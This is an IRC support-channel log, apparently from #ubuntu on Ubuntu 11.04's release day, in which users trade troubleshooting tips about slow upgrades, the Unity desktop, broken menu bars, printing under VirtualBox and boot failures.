[06:07] <carandraug> kjxl9, at least on the old version was that. On th new version, with unity, if memmory doesn't fail me, just type monitors on the search box
[06:07] <skrapp_jaw> does anyone know of a good onscreen keyboard that can be controlled like the ones on the ps3?
[06:07] <greylurk> Gah!  Funky scrollbars.
[06:07] <zetheroo1>  tanath: from what I am seeing here (on the net) it's supposed to have it ...
[06:07] <eiriksvin> um, is it ok to install the missing plugins from pandora.com
[06:07] <eiriksvin> ?
[06:07] <tanath> zetheroo1, mmk
[06:08] <tanath> skramer, tried gok?
[06:08] <eiriksvin> my ubuntu is 10.10 and fresh install so i dont know if its ok
[06:09] <tanath> skramer, sorry, wrong nick. other left
[06:09] <zetheroo1>  tanath: mmk?
[06:09] <tanath> zetheroo1, think phonetically
[06:10] <zetheroo1>  tanath: gotcha ...
[06:10] <zetheroo1>  tanath: why are you not running 11.04?
[06:10] <histo> eiriksvin: you can switch to classic mode instead of unity at the login screen. It's a session choice
[06:10] <histo> zetheroo1: many people may not switch
[06:10] <tanath> zetheroo1, 'cause i don't think i'll like unity
[06:11] <asiekierka> :|
[06:11] <zetheroo1>  tanath: yeah, I have had mixed feelings about it too
[06:11] <bazhang> asiekierka, whats the issue
[06:11] <tanath> zetheroo1, i've got everything set up how i like it. i'm nice and efficient and no annoyances. upgrading will break a number of things for me, like shortcuts
[06:11] <zetheroo1>  tanath: though one could always upgrade and just use the classic session instead ...
[06:11] <ace__> hey guys. my ubutnu upgrade is frozen. it has said 11 minutes remaining for about 6 hours now. its stuck at install setserial. should i force quit it and run it again?
[06:11] <eiriksvin> yeah, i know... but i was on it at my moms house (she got 10.10 yesterday thanx to me, then updated today to 11.04)
[06:12] <zetheroo1> histo: mostly due to Unity right!?
[06:12] <tanath> zetheroo1, oh, i will when i upgrade... i'm also waiting for a few days after release at least for the wave of inevitable bug fixes
[06:12] <zetheroo1>  tanath: definitely the smart route
[06:12] <eiriksvin> yeah, nice looks... not impressed yet, it needs alot of options added
[06:12] <tanath> zetheroo1, i typically upgrade a month or so before release. first i'm i've not wanted to upgrade
[06:13] <histo> zetheroo1: well you don't have to use unity on 11.04 but I still run 10.04 on my servers etc...
[06:13] <red2kic> Heh. They took away options to make your life easier (ie focus on your work instead of playing around with background settings).
[06:13] <tanath> zetheroo1, but there's some drastic changes being made. will be better in long run, but we're not there yet. so i wait
[06:13] <zetheroo1>  tanath: so your really holding out on this one
[06:13] <tanath> zetheroo1, *first time
[06:13] <zetheroo1> histo: I hear you
[06:13] <eiriksvin> um how do i fix this: The package indexes are currently changed by apt-get.
[06:14] <jmwpc> ace_: I was in the same spot for about 6 hours, I eventually opened up system monitor and saw that there was still network activity... eventually it finished downloading everything and finished, but it took a while.
[06:14] <eiriksvin> in Ubuntu Software center
[06:14] <vishal_> Hello. Is it normal for the upgrade to 11.04 to download files at a speed slower than my connectivity is capable of?
[06:14] <tanath> histo, 10.10 is better than 10.04... only benefit is LTS if you're sticking with pre 11.04 for a while
[06:14] <zetheroo1>  tanath: do you think "they" will allow for the customisation of the launcher side-bar and dash in the future?
[06:14] <ace__> hmmkay, i'll leave it on then
[06:14] <bazhang> vishal_, currently yes, as its the first day of release
[06:14] <extraclassic> everyone seems to have trouble upgrading....i bet if you edited sources.list and did dist-upgrade you'd have a better chance of it working
[06:14] <vishal_> bazhang ah i see. it's because the servers are being flooded with requests? Okay got it. Thanks.
[06:15] <tanath> vishal_, servers are being hammered due to release. use  System > Admin > Software Sources > Download from, Other > Select best server
[06:15] <extraclassic> because upgrading debian isn't a problem
[06:15] <zachgretzinger> Is there a way to remove Natty and install Maverick without losing my files and programs?
[06:15] <tanath> zetheroo1, well things are always improving... not very often there's a step backwards
[06:15] <zetheroo1>  tanath: true that
[06:15] <bazhang> zachgretzinger, got a separate home partition? want to make one?
[06:15] <red2kic> zachgretzinger: Back up /home/zach/ and /etc/
[06:15] <histo> tanath: just because the version number is higher doesn't make it better fyi. 10.04 is LTS. people running servers aren't going to jump to the latest greates bug filled release
[06:15] <bazhang> !home | zachgretzinger
[06:15] <ubottu> zachgretzinger: Your home directory is where all of your personal files are usually kept. For moving your home directory to a separate partition, please see: http://psychocats.net/ubuntu/separatehome
[06:16] <ejv> hello, how do I get the menu bar back in gnome-terminal? File, Edit, etc...
[06:16] <ejv> (using Unity)
[06:16] <tanath> histo, i'm not basing it on version number. i'm basing it on my experience
[06:16] <bazhang> ejv, choose ubuntu classic instead?
[06:16] <tanath> histo, admittedly i don't do as much server stuff likely, but still seems better
[06:17] <ejv> there's gotta be a fix
[06:17] <russell--> baby jesus cried a river
[06:17] <khaotik> oh my god unity smokes pole
[06:17] <andy_1> hi
[06:17] <superproxy> do you use a "/data" partition? how big, what filesystem type? how do you use it?
[06:17] <jaypro> i was planning to download ubuntu 11.04 netbook through torrents, but the link is broken. anyone know of another link?
[06:17] <bazhang> russell--, wrong channel
[06:17] <zachgretzinger> ubottu so if I create a partition with, say, 100gb and put everything in that, I'll be able to remove Natty completely and freshly install Maverick and then remove the partition when I'm done?
[06:17] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[06:17] <dirkh> ubuntu yeaaaa
[06:17] <tanath> khaotik, that's why there's "classic session"
[06:17] <khaotik> this is the worst environment i have ever used
[06:17] <extraclassic> ejv: i thought unity had the menu bar at the very top instead of in the app window
[06:17] <bazhang> khaotik, thats not appropriate here
[06:17] <eiriksvin> um how do i fix this: Ubuntu Software Center - The package indexes are currently changed by apt-get. it says i cant download anything cus theres something else working
[06:18] <ejv> extraclassic: beats the heck outta me, been using it for 15 minutes lol
[06:18] <xsinick_laptop> NATTY IS BULLSHIT!
[06:18] <ejv> extraclassic: you are correct!
[06:18] <mikeliss> anybody know how to reset the panel or the global menu? My seems to have crashed...
[06:18] <waterman> why?
[06:18] <bazhang> xsinick_laptop, stop that
[06:18] <zachgretzinger> eiriksvin are you using the terminal right now?
[06:18] <tanath> superproxy, ext4 is good
[06:18] <ejv> extraclassic: thx, nice find
[06:18] <extraclassic> ejv: they made it like a mac where they moved the menu up there
[06:18] <asiekierka> Okay, i'm in failsafeX
[06:18] <asiekierka> GDM booted without blinking
[06:18] <Ziber> With dual monitors, using compiz, I cant set it to use multiple independent cubes, can I?
[06:18] <asiekierka> but i STILL can't see the menu bars
[06:18] <sdegutis> yay!
[06:18] <asiekierka> what's going on!?
[06:18] <sdegutis> this is pretty sweet.
[06:18] <asiekierka> sdegutis 11.04?
[06:18] <zetheroo1> khaotik: you may not be alone in that sentiment, but make it useful and add something productive to the forums ;)
[06:18] <khaotik> i think im switching back to enlightenment
[06:18] <xsinick_laptop> sorry
[06:18] <S-M-Gl> .
[06:18] <waterman> is natty pretty buggy right now?
[06:18] <ejv> how do i make the unity bar auto-hide
[06:18] <xsinick_laptop> I feel better now
[06:18] <sdegutis> no, my irc client
[06:18] <asiekierka> waterman for propiertary driver users yes, especially nVidia
[06:18] <eiriksvin> yes, natty is buggy
[06:18] <khaotik> thats why im here. to each there own
[06:19] <sdegutis> you guys are awesome for testing since you talk so much :)
[06:19] <andy_1> hi, can anyone just confirm if they can chat in ##c++ ?
[06:19] <asiekierka> yes but i still have no idea how to restore the gnome menu bars
[06:19] <mikeliss> anybody know how to reset the panel or the global menu? Mine seems to have crashed...
[06:19] <waterman> thanks
[06:19] <asiekierka> also everything is so square now just as if a theme pack wasnt installed
[06:19] <zachgretzinger> ejv click on your name on the right hand corner of your screen and go to setting
[06:19] <eiriksvin> especially when switching from profile to profile,,,
[06:19] <vishal_> I'm part way through my distribution upgrade... if i change the source server, do i have to cancel and run the upgrade again?
[06:19] <yi`zhi> oooh. 11.04 is now installing.
[06:19] <zetheroo1>  waterman: it has been a very smooth upgrade for me
[06:19] <yi`zhi> wish me luck everyone haha
[06:19] <siloxid> andy_1: you have to register
[06:19] <asiekierka> this is a horrible upgrade for me
[06:19] <efox29> yi`zhi, you might need it
[06:19] <ejv> zachgretzinger: don't see 'setting'
[06:19] <yi`zhi> efox29, anything i should look out for?
[06:19] <tanath> asiekierka, dunno much about new release, but logging out and back in should work
[06:20] <siloxid> 11.04 is working so much better for me than 10.10, awesome!
[06:20] <yi`zhi> i can lose docky right?
[06:20] <andy_1> siloxid, /nickregister? doesnt work
[06:20]  * LW_Away is away: Gone away for now
[06:20] <red2kic> !register | andy_1
[06:20] <ubottu> andy_1: Information about registering your nickname: https://help.ubuntu.com/community/InternetRelayChat/Registration - Type « /nick <nickname> » to select your nickname. Registration help available by typing /join #freenode
[06:20] <yi`zhi> also, anyone know of an easy way to switch language inputs?
[06:20] <bazhang> andy_1, /join #freenode
[06:20] <zachgretzinger> ejv sorry, I meant the power button next to your name
[06:20] <efox29> yi`zhi, i dont like unity, i feel my desktop is a phone now with all these 'apps'
[06:20] <ejv> !away | LW_Away
[06:20] <ubottu> LW_Away: Please do not use noisy away messages and nicks in Ubuntu channels. It is annoying and unnecessary. Use the command "/away <reason>" to set your client away silently. See also «/msg ubottu Guidelines»
[06:20] <siloxid> andy_1: it's /msg nickserv identify yourpassword
[06:20] <rikrikthetik> so guys
[06:20] <efox29> and some of scripts no longer work
[06:20] <asiekierka> tanath i don't have access to any menu bars
[06:20] <zachgretzinger> ejv and it's "System Settings"
[06:20] <rikrikthetik> hows the 11.04?
[06:20] <asiekierka> and stop gdm/start gdm fails
[06:20] <vishal_> I'm part way through my distribution upgrade... if i change the source server, do i have to cancel and run the upgrade again? any ideas guys?
[06:20] <yi`zhi> efox29, you're talking about the aesthetics or the actual functionality?
[06:20] <rikrikthetik> do you like it/
[06:20] <asiekierka> oh wait a minute
[06:20] <rikrikthetik> ?**
[06:20] <bazhang> rikrikthetik, please dont poll here
[06:20] <tanath> vishal_, if you've downloaded the packages already then server doesn't matter. if not, i don't think you can unless you cancel first
[06:20] <Ziber> With dual monitors, using compiz, I cant set it to use multiple independent cubes, can I?
[06:20] <tanath> asiekierka, ctrl+alt+del?
[06:20] <rikrikthetik> poll?
[06:20] <eiriksvin> if ur having problems with not seeing ur bar i just logged off, then hopped back on
[06:21] <andy_1> all, thanks :D
[06:21] <asiekierka> nope
[06:21] <zachgretzinger> Ziber no
[06:21] <bazhang> rikrikthetik, yes. please dont
[06:21] <eiriksvin> cleaned it up
[06:21] <asiekierka> checking ctrl+alt+del
[06:21] <Ziber> :(
[06:21] <Ziber> defeats the purpose, imho
[06:21] <efox29> that was asthetics, for functionality, some of basic scripts dont work, but if i manually type them into terminal they work (i mean the actual command)
[06:21] <rikrikthetik> what does that mean?
[06:21] <bazhang> rikrikthetik, #ubuntu-offtopic for opinionating
[06:21] <efox29> entering in the incorrect root passwd sometimes makes my terminal hang
[06:21] <asiekierka> tanath hibernation, sleep, reboot, turn off
[06:21] <eiriksvin> i like classic a million times more
[06:21] <sdegutis> <3
[06:21] <siloxid> how do I get the battery charged number from the command-line?
[06:21] <efox29> restarting sometimes freezes...
[06:22] <asiekierka> eiriksvin i like how classic didn't have problems
[06:22] <tanath> asiekierka, how about ctrl+alt+l to lock screen? i think there's a logout on there
[06:22] <asiekierka> i mean
[06:22] <zachgretzinger> Ziber since not everybody uses dual monitors, it would be pointless to dedicate the hours and time required to enable such a feature. Especially for such a small group of people
[06:22] <asiekierka> 10.10
[06:22] <asiekierka> one moment
[06:22] <eiriksvin> yeah, 11.04 classic is clean as a whistle
[06:22] <yi`zhi> oop
[06:22] <asiekierka> ok, i got screen lock there
[06:22] <asiekierka> but the lock menu doesn't appear
[06:22] <asiekierka> just its desktop
[06:22] <xsinick_laptop> eiriksvin:  but stillhas bugs
[06:23] <asiekierka> i think like
[06:23] <siloxid> thanks google  :)
[06:23] <tanath> asiekierka, hrm? no log out?
[06:23] <asiekierka> half of Gnome broke up and i need to reinstall it
[06:23] <yi`zhi> anyway. anyone know a nice way to switch language inputs on narwhal? i use keyboard input methods on 10.10 i wonder if it'll carry over nicely
[06:23] <eiriksvin> heh, the only problem i had the first time i ran it was the clock... but even that fixed itself
[06:23] <ejv> ugh this is frustrating lol
[06:23] <asiekierka> tanath there's a change user option
[06:23] <asiekierka> i clicked it
[06:23] <eiriksvin> somehow
[06:23] <tanath> asiekierka, wait, you're on 10.10? if so, run 'gnome-panel --replace'
[06:23] <asiekierka> and now i'm at an empty dekstop
[06:23] <asiekierka> tanath i'm on 11.04
[06:23] <FloodBot3> asiekierka: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:23] <asiekierka> upgraded from 10.10
[06:23] <eiriksvin> brb
[06:23] <tanath> asiekierka, then i dunno what shell thingy you're using or what the command is
[06:24] <efox29> if i modify my sudoers to enable a user to run a script without passwd, will that script run commands that typically only root can run ?
[06:24] <asiekierka> tanath i'm using the tty shells ubuntu gives
[06:24] <asiekierka> you know, Alt+F1-F4
[06:24] <asiekierka> i'm considering a reinstall
[06:24] <efox29> because right now, i can run the script, but the command within in the script still requires a root passwd...
[06:24] <S-M-Gl> .
[06:24] <asiekierka> but i'm not sure if i'm considering ubuntu :|
[06:24] <xsinick_laptop> poo
[06:24] <asiekierka> it was fun and easy, sure, but
[06:24] <tanath> asiekierka, virtual terminals?
[06:25] <asiekierka> tanath i think so, yes
[06:25] <tanath> asiekierka, so you're using irssi or something?
[06:25] <asiekierka> tanath yep, irssi
[06:25] <xsinick_laptop> natty poo head narwhal
[06:25] <asiekierka> notthe narwoah you expected
[06:25] <asiekierka> was it
[06:25] <xsinick_laptop> nope
[06:26] <asiekierka> i'm already in failsafeX
[06:26] <tanath> asiekierka, heh. fun. well a reboot is better than logging out.. if you don't have anything stopping you, ctrl+alt+del in VT will reboot
[06:26] <S-M-Gl> hello, im using am Adium theme with Empathy but it does not show the sender's name, any ideas on modifing it in order to show it?
[06:27] <vishal_> lol wow! this upgrade is gonna take a atleast several hours for me. :) I think I'm gonna postpone it.
[06:27] <vishal_> I'm just so excited to try out this new release...
[06:27] <efox29> vishal_, it took me like 4 hours ish
[06:27] <eiriksvin> is it cool to install the adobe flack plugins for ubuntu from the software center?
[06:27] <vishal_> efox29 was it worth it?
[06:27] <efox29> vishal_, no
[06:27] <efox29> lol
[06:27] <eiriksvin> oops flash
[06:27] <tanath> vishal_, if you change server, you don't have to redownload packages that have already downloaded
[06:28] <vishal_> lol efox29
[06:28] <eiriksvin> heh
[06:28] <tanath> vishal_, so  System > Admin > Software Sources > Download from, Other > Select best server
[06:28] <zachgretzinger> efox29 4 hours?!? It seriously took me less than 30 minutes lmao
[06:28] <extraclassic> eiriksvin: i wouldn't install anything from the software center
[06:28] <vishal_> tanath i did that... still slow.
[06:28] <Ziber> So, anyone have any advice about my internal laptop mic not working with 10.10?
[06:28] <vishal_> i live in hawaii... everything will be slow from here. :D
[06:28] <efox29> vishal_, i guess im just a bit disappointed that somethings broke along the way, and i had to fix them...whereas with other upgrades...no problems
[06:28] <zachgretzinger> Ziber update your drivers
[06:28] <eiriksvin> <extraclassic> whys that?
[06:28] <vishal_> efox29 i see.
[06:28] <Ziber> zachgretzinger: How?
[06:29] <efox29> zachgretzinger, ya, the download took a while...it would fluctuate, i dont know if it was their servers or my connection, but id be hittin like 700kb/s then drop to like 6kb/s
[06:29] <vishal_> efox29 i have a webserver running ubuntu too... i'm glad i tried it on my laptop first...
[06:29] <zachgretzinger> System > Admin > look for something that looks like a green motherboard
[06:29] <tomtit> When will xubuntu 11.04 be available to download?
[06:29] <vishal_> tomtit isn't it available?
[06:29] <perscitus> How come there is no Canonical CDS in the store for 11.04?
[06:30] <extraclassic> eirisksvin: i'm not 100% sure, but i did read where it screws up registering dependencies if you need to remove stuff later
[06:30] <zachgretzinger> efox29 it might be their connection then (it is launch date after all)
[06:30] <tanath> zachgretzinger, the term is PCB. motherboard is the main board that other boards & stuff connects to
[06:30] <Ziber> zachgretzinger: Ah, thank you.
[06:30] <vishal_> tomtit oh, nvm... u said xubuntu...
[06:30] <tomtit> I haven't come across so far
[06:30] <zachgretzinger> tanath i was being user-friendly...
[06:30] <efox29> zachgretzinger, thats what i thought too....i guess you hopped in when everyone got fed up and cancelled
[06:30] <steven> god bless you all, good night <3
[06:30] <efox29> lol
[06:30] <ejv> desktop "effects" used to be in appearance menu, where did it go?
[06:30] <zachgretzinger> efox29 lol no I upgraded 2 days before the official release
[06:30] <ejv> i wanna turn all this garbage off
[06:31] <efox29> zachgretzinger, so even before ppl cancelled..lol
[06:31] <vishal_> i officially cancelled my upgrade. :D i mean officially postponed!
[06:31] <vishal_> feels like the right thing to do.
[06:31] <efox29> zachgretzinger, see...just like vishal_  :)
[06:31] <perscitus> How come there is no Canonical CDS in the store for 11.04?
[06:31] <russell--> "From my perspective, however, I think it's not only going to be a massive disaster for the existing user base, but I'm skeptical as to the value Unity will deliver in the first place."
[06:31] <silvery> Hi. Got a question about standalone station (not connected to internet). Can I upgrade 10.10 to 11.04 on this station using 11.04 CD, with no changes to installed software and files of existing 10.10?
[06:31] <tanath> russell--, what's the quote from?
[06:31] <S-M-Gl> hello, im using an Adium theme with Empathy but it does not show the sender's name, any ideas on modifying it in order to show it?
[06:32] <eiriksvin> <extraclassic> oh, well it seems to be fine for me... i only install what i need... xchat and so on
[06:32] <ejv> people complained each time facebook changed its layout, then people adjust, adapt, and forget, unity will be similar i imagine
[06:32] <zachgretzinger> Guys, if you're unhappy with 11.04 you can either downgrade or wait for the next release (closer than you think it may be)
[06:33] <eiriksvin> and i gotta have my internet radio
[06:33] <C4colo> is 9.10 out of support for updates and patches?
[06:33] <extraclassic> eiriksvin: i just started using gpodder and it's pretty cool
[06:33] <zachgretzinger> Here is the release schedule: https://wiki.ubuntu.com/LucidReleaseSchedule
[06:33] <tanath> C4colo, LTS gets 3yrs of support
[06:34] <tanath> C4colo, version numbers are based on release date, so no
[06:34] <eiriksvin> <extraclassic> i saw that, it seems to be pretty cool
[06:34] <C4colo> yea, I was on 9.4 before I upgraded in the hopes https://bugs.launchpad.net/ubuntu/+source/metacity/+bug/516049 was fixed
[06:34] <ubottu> Ubuntu bug 516049 in metacity (Ubuntu) "After maximizing window, dragging title bar of different window moves maximized window instead (dup-of: 494096)" [Undecided,New]
[06:34] <ubottu> Ubuntu bug 494096 in mutter "Clicking the title of a window is bringing a window underneath it into focus" [Critical,Fix released]
[06:34] <ACameron> Hi all.  The upgrade from 10.10 -> 11.04 really messed up my system and I would just love some help getting my computer to even reach the BIOS.
[06:34] <efox29> anyone know how to allow a script without root passwd
[06:34] <C4colo> or actually 8.4 originally
[06:34] <zachgretzinger> ACameron what exactly is wrong?
[06:34] <linusasus6> hi I will like to know why gnome and gnome-core is no longer supported
[06:34] <C4colo> have upgraded this far and no luck, so I'm not very confident the bug doesn't exist in 10.x versions
[06:34] <tanath> C4colo, why not use compiz or another WM?
[06:34] <thegoodcushion> Hi everyone.  I'm trying to print on a HP Deskjet from Ubuntu that is virtualized within VBox on Windows 7.  Is this the best channel to try and fix the problem?
[06:35] <ACameron> zachgretzinger: Given that my computer barely boots, I'm not sure how to answer that question.  How can I find out what you're asking?
[06:35] <C4colo> tanath, what is the lightest one?
[06:35] <ACameron> zachgretzinger: I mean, I can't even reach GRUB to boot my Windows partititon.
[06:35] <ACameron> *partition
[06:35] <zachgretzinger> ACameron explain in detail what your computer is doing that it shouldn't be
[06:35] <C4colo> I DONT want pretty at the expense of performance
[06:35] <eiriksvin> im seriously thinking about getting my usb full of the stuff i need to get my USB wifi adapter working again, the going ahead and wiping out my unregged (f-ing viruses) Win 7
[06:35] <tanath> C4colo, well, the lightest ones typically wouldn't work the best with certain environments
[06:36] <teknowill> I can give you some help with hp printer vbox win 7
[06:36] <ACameron> zachgretzinger: I turn it on, and the screens receive zero input.  Not even the screen that the BIOS puts out saying, "I'm booting up!" before I see GRUB.
[06:36] <ACameron> When I say it says "I'm booting up", I mean that figuratively.
[06:36] <stoja> this release is the end of Ubuntu :/
[06:36] <ACameron> It actually has the motherboard logo on it, and so on.
[06:36] <tanath> C4colo, i mean, if you want a lightweight environment you might go with icewm. if you just want the wm to use with a different environment there's ones like openbox fluxbox and blackbox
[06:36] <zachgretzinger> ACameron that happened to me as well... I simply restarted the computer a few times, ate a sandwhich, and voila - it went back to normal...
[06:36] <tanath> C4colo, then avoid compiz. not as lightweight as even metacity
[06:36] <ACameron> zachgretzinger: I will cross my fingers.
[06:37] <Kyubey> Hey, I have a question about setting up compiz
[06:37] <mithran> hi guys, i want to try to install the x server on an ubuntu install, can someone tell me which iso i could have to use, that does not come with x,?
[06:37] <Kyubey> Which mouse button is the scrollwheel click?
[06:37] <nasuta> System:    Kernel 2.6.38.4-ck3.9.nasutix x86_64 (64 bit) Distro Windows 7
[06:37] <tanath> Kyubey, middle click?
[06:37] <nasuta> CPU:       Dual core Intel Core2 4400 (-MCP-) cache 2048 KB flags (lm nx sse sse2 sse3 ssse3) bmips 7981.22
[06:37] <nasuta>            Clock Speeds: (1) 1200.00 MHz (2) 1200.00 MHz
[06:37] <C4colo> I need a stable platform to use terminal windows and browser windows, supports multiple monitors and virtual desktops
[06:37] <Kyubey> I want to know so I can make it the shortcut to scaling\
[06:37] <nasuta> Graphics:  Card ATI RV710 [Radeon HD 4550] X.Org 1.9.5 Res: 1024x768@60.0hz, 1024x768@60.0hz
[06:37] <Kyubey> yeah, middle click
[06:37] <FloodBot3> nasuta: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:37] <nasuta>            GLX Renderer Mesa DRI R600 (RV710 9540) 20090101  TCL DRI2 GLX Version 2.1 Mesa 7.10.2 Direct Rendering Yes
[06:37] <nasuta> Audio:     Card-1 ATI RV710/730 driver HDA Intel BusID: 01:00.1
[06:37] <rikrikthetik> the
[06:37] <tanath> Kyubey, depress the scroll wheel
[06:37] <truepurple> I am at a stage in upgrading ubuntu where it is asking to remove some stuff. Any reason to give thought as to what it wants to remove? Why does it say "open office" stuff is no longer needed?
[06:37] <ACameron> zachgretzinger: Unfortunately, I have no sandwiches, and without a terminal I can't order my roommate to make me one.
[06:37] <tanath> Kyubey, can also be simulated with clicking both mouse buttons
[06:37] <red2kic> C4colo: Debian? It's always stable.
[06:37] <sundjinnkari> So anyone know how to customize the dash and the top bar?
[06:37] <Kyubey> tanath, I know how to click it -_-
[06:38] <ejv> truepurple: think ubuntu has moved to libre office
[06:38] <zachgretzinger> If the problem persists, try creating a bootable USB with Damn Small Linux or something and go in "magically" and grab your files then wipe the drive and start over. It may be a pain but in the end it's worth it
[06:38] <Kyubey> I dont know which button compiz sees it as
[06:38] <C4colo> metacity is not
[06:38] <Kyubey> for the purpose of using it as a shortcutg
[06:38] <thegoodcushion> Is anyone here a guru on printing from Ubuntu within VBox?  I have VBox 4.0.6 running Ubuntu 10.10 32-bit.  It's hosted on Windows 7 64-bit.  A Deskjet 2000 is plugged in via USB to the PC.  Windows drivers are installed.  Test printing from Windows works fine.  I have set up a USB filter for the printer and checked it 'on' and Ubuntu appears to know that it exists.  I print from within Ubuntu, and they all appear to complete
[06:38] <thegoodcushion> successfully, but nothing actually comes out of the printer.
[06:38] <tanath> C4colo, have a look at icewm and fluxbox/blackbox and see which you prefer
[06:38] <C4colo> ok, thank you
[06:38] <ejv> how do i enable metacity in unity?
[06:38] <tanath> Kyubey, then what are you asking? lol
[06:38] <Kyubey> I'm asking which number the button is for compiz shortcuts
[06:38] <tanath> Kyubey, oh
[06:39] <Kyubey> such as one, two, three, etc. :P
[06:39] <teknowill> thegoodcushion: i can help a little
[06:39] <truepurple> ejv: So should I give it permission to remove it? Is it possible to allow it to remove some of this stuff, but not all?
[06:39] <C4colo> some have reported that pulling down the most current version of metacity and compiling it worked to fix the problem ... how often would metacity be pulled into the source?
[06:39] <ACameron> zachgretzinger: Any other ideas? multiple hard reboots have been unsuccessful so far.
[06:39] <numberto> My Unity search field does not work. When I type something I just does not find any file nor does it finds any app
[06:39] <linusasus6> is stupid no more menu on top bar  please why gnome and gnome-core are no longer support
[06:39] <Kyubey> I want to know so I dont accidentally undo the shortcuts for the right mouse button while trying to get this to work
[06:39] <thegoodcushion> teknowill: good
[06:39] <teknowill> thegoodcushion: do you have the usb 2 expanstion pack installed
[06:39] <numberto> Plus I cannot start launcher by using Alt+F2
[06:39] <zachgretzinger> ACameron how opposed are you to wiping your drive and trying a'new?
[06:39] <thegoodcushion> teknowill: yep
[06:39] <C4colo> (I have been dealing with this issue for at least a year hoping every time I click "Install Updates" that it would be fixed)
[06:39] <ACameron> zachgretzinger: if I could boot, maybe I could wipe my drive...
[06:39] <ZenGuy311> how long can ubuntu keep their releases CD size?
[06:40] <ACameron> zachgretzinger: even though I really don't want to.
[06:40] <Kyubey> Is it two or three? I dont want to mess up the right mouse button's configurations
[06:40] <ACameron> zachgretzinger: I apologize if I get snarky; it's not you, it's my computer, and it's very late for me.  Please don't take it personally.
[06:40] <zachgretzinger> ACameron do you know how to make a Bootable USB?
[06:40] <teknowill> thegoodcushion: have you tired it with both usb 2 turned off and on
[06:40] <thegoodcushion> teknowill: yep
[06:40] <ACameron> zachgretzinger: No, although I think I could manage a LiveCD.
[06:40] <tanath> Kyubey, i think it's 2 or 3... whichever right click is... it's the other
[06:41] <Kyubey> haha, tanath, that's the problem
[06:41] <Kyubey> I dont know if it's two or three
[06:41] <ACameron> zachgretzinger: although, again, not sure how I'm going to boot from it.
[06:41] <zachgretzinger> ACameron lol I'm a full German raised in NYC - I'll never take anything personal
[06:41] <tanath> Kyubey, test it? lol
[06:41] <teknowill> thegoodcushion: its fully dismounted from ubuntu and mounted in win7 box? sry so manys qs
[06:41] <Kyubey> and I dont want to screw up the settings for the right click doing this
[06:41] <tanath> Kyubey, only 2 options
[06:41] <thegoodcushion> teknowill: no problem
[06:41] <truepurple>  ejv: So should I give it permission to remove it? Is it possible to allow it to remove some of this stuff, but not all?
[06:41] <Kyubey> when I go to change either, it tells me other parts of compiz will be changed
[06:41] <thegoodcushion> teknowill: Well it mounts in one or the other
[06:41] <Kyubey> fuck it, I'm trying 3
[06:41] <ACameron> zachgretzinger: Heh, sounds like some of my coworkers this summer.  Haven't met any of them yet, but they're german and working in NYC.
[06:41] <teknowill> thegoodcushion: k, you could share the printer via samba
[06:42] <Kyubey> err, sorry, darn it, I shouldn'
[06:42] <Kyubey> shouldn't swear here
[06:42] <sundjinnkari> So anyone know how to customize the dash and the top bar?
[06:42] <zachgretzinger> ACameron install Unetbootin
[06:42] <thegoodcushion> teknowill: The USB thing just isn't working.  I'm trying to share over Ethernet
[06:42] <teknowill> thegoodcushion: samba/cups
[06:42] <Chaoss> hey there, I've been trying to get my 2 NTFS hard drives to show up in Ubuntu for the last 19 hours
[06:42] <tanath> Kyubey, 2
[06:42] <ejv> 19 hours? ouch
[06:42] <ejv> that's dedication
[06:42] <ACameron> zachgretzinger: install it on.. my unbooting computer..?
[06:43] <zachgretzinger> ACameron it's a tool to create bootable usb devices. Try using Damn Small Linux as it's only 50mb and the install takes less than 5 minutes
[06:43] <ACameron> oh, I see
[06:43] <Chaoss> they appear in disk utility but i cant find them in explorer
[06:43] <Chaoss> or what ever its called in ubuntu
[06:43] <tanath> Kyubey, win+middle = zoom box in enhanced zoom. it's 3
[06:43] <zachgretzinger> ACameron install it on whatever computer you have that works
[06:43] <teknowill> thegoodcushion: you should be able to share the usb printer over cups/samba to the vbox
[06:43] <C4colo> ok, thanks guys, I'm off
[06:43] <Kyubey> neither works
[06:43] <Kyubey> I just tried both
[06:43] <Kyubey> ohhh
[06:43] <ACameron> OK, so use Unetbootin to create a DSL bootable thumb drive?
[06:43] <Kyubey> I have to hold it
[06:43] <teknowill> thegoodcushion: what's messing up the share
[06:43] <Kyubey> durr -_-
[06:43] <FloodBot3> Kyubey: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[06:43] <tanath> Kyubey, woops, contradicted myself
[06:44] <tanath> Kyubey, button2 = middle
[06:44] <Chaoss> I dont get it they work in windows fine, and i can access them but in ubuntu it doesnt support more than 1 hard drive
[06:44] <Kyubey> yeah, just figured that out
[06:44] <pcgenius> hello i have only ubuntu installed on my system so when my system boots it doesn't shows the grub screen and i just want to go into recovery mode,so please tell me how can i do that ?
[06:44] <Kyubey> Now I have to figure out why graphical stuff is lagging
[06:44] <truepurple> ACameron: Net install is good too,(a option under unetbootin) very small, it downloads off the internet as it installsACameron
[06:44] <zachgretzinger> ACameron yeppers. Then use that USB to boot into your computer and throw your crap on an external and wipe the drive
[06:44] <tanath> pcgenius, what version?
[06:44] <Chaoss> i've so far managed to destroy 4 installations and break a keyboard
[06:44] <tanath> pcgenius, of ubuntu
[06:44] <pcgenius> tanath:11.04
[06:44] <Chaoss> im using the latest version from the website, can someone tell me what 2 do
[06:45] <Kyubey> is anyone else having lag problems?
[06:45] <ACameron> thanks zachgretzinger, truepurple.  I think I'm going to pass out for now and grapple with this some more in the morning.
[06:45] <thegoodcushion> teknowill: Well the printer is mounted in Windows 7 and tests successfully.  I select it to print over network, and it has a name on the network.  Now I"m in Ubuntu.  How do I get Ubuntu to recognize the printer's there on the network?
[06:45] <tanath> pcgenius, ah. not familiar with it, but there's an app called startup manager you can use to configure delay and such
[06:45] <Kyubey> I'm running 64bit with nvidia graphics drivers
[06:45] <asiekierka> okay this is not helping
[06:45] <Kyubey> the beta didnt lag like this at all
[06:45] <zachgretzinger> ACameron np
[06:45] <ACameron> Looks like any plans of playing Portal 2 tonight will have to wait.
[06:45] <Chaoss> both 1TB hard drives are seen in disk manager, but there are no access to them
[06:45] <asiekierka> Looks like any plans of doing stuff today will have to wait
[06:45] <asiekierka> i'm considering changing distros :/
[06:45] <Chaoss> i dont see where to acceess
[06:45] <truepurple> Is there any way to selectively choose what programs that ubuntu is going to uninstall when updating?
[06:45] <tanath> pcgenius, package: startupmanager
[06:46] <asiekierka> tanath I believe 11.04's X installation ended up corrupted for me
